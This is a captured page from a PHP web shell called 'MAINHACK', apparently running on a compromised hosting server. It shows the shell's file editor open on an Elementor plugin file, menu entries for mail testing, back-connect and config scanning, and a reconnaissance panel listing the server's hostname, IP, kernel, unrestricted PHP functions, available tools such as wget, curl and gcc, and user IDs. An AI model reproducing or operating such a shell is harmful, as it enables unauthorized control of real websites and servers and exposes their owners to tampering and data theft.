[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: image.php
<?php namespace Elementor; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Elementor images manager. * * Elementor images manager handler class is responsible for retrieving image * details. * * @since 1.0.0 */ class Images_Manager { /** * Get images details. * * Retrieve details for all the images. * * Fired by `wp_ajax_elementor_get_images_details` action. * * @since 1.0.0 * @access public */ public function get_images_details() { $items = $_POST['items']; $urls = []; foreach ( $items as $item ) { $urls[ $item['id'] ] = $this->get_details( $item['id'], $item['size'], $item['is_first_time'] ); } wp_send_json_success( $urls ); } /** * Get image details. * * Retrieve single image details. * * Fired by `wp_ajax_elementor_get_image_details` action. * * @since 1.0.0 * @access public * * @param string $id Image attachment ID. * @param string|array $size Image size. Accepts any valid image * size, or an array of width and height * values in pixels (in that order). * @param string $is_first_time Set 'true' string to force reloading * all image sizes. * * @return array URLs with different image sizes. */ public function get_details( $id, $size, $is_first_time ) { if ( ! class_exists( 'Group_Control_Image_Size' ) ) { require_once ELEMENTOR_PATH . '/includes/controls/groups/image-size.php'; } if ( 'true' === $is_first_time ) { $sizes = get_intermediate_image_sizes(); $sizes[] = 'full'; } else { $sizes = []; } $sizes[] = $size; $urls = []; foreach ( $sizes as $size ) { if ( 0 === strpos( $size, 'custom_' ) ) { preg_match( '/custom_(\d*)x(\d*)/', $size, $matches ); $instance = [ 'image_size' => 'custom', 'image_custom_dimension' => [ 'width' => $matches[1], 'height' => $matches[2], ], ]; $urls[ $size ] = Group_Control_Image_Size::get_attachment_image_src( $id, 'image', $instance ); } else { $urls[ $size ] = wp_get_attachment_image_src( $id, $size )[0]; } } return $urls; } /** * Images manager constructor. * * Initializing Elementor images manager. * * @since 1.0.0 * @access public */ public function __construct() { add_action( 'wp_ajax_elementor_get_images_details', [ $this, 'get_images_details' ] ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.12 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619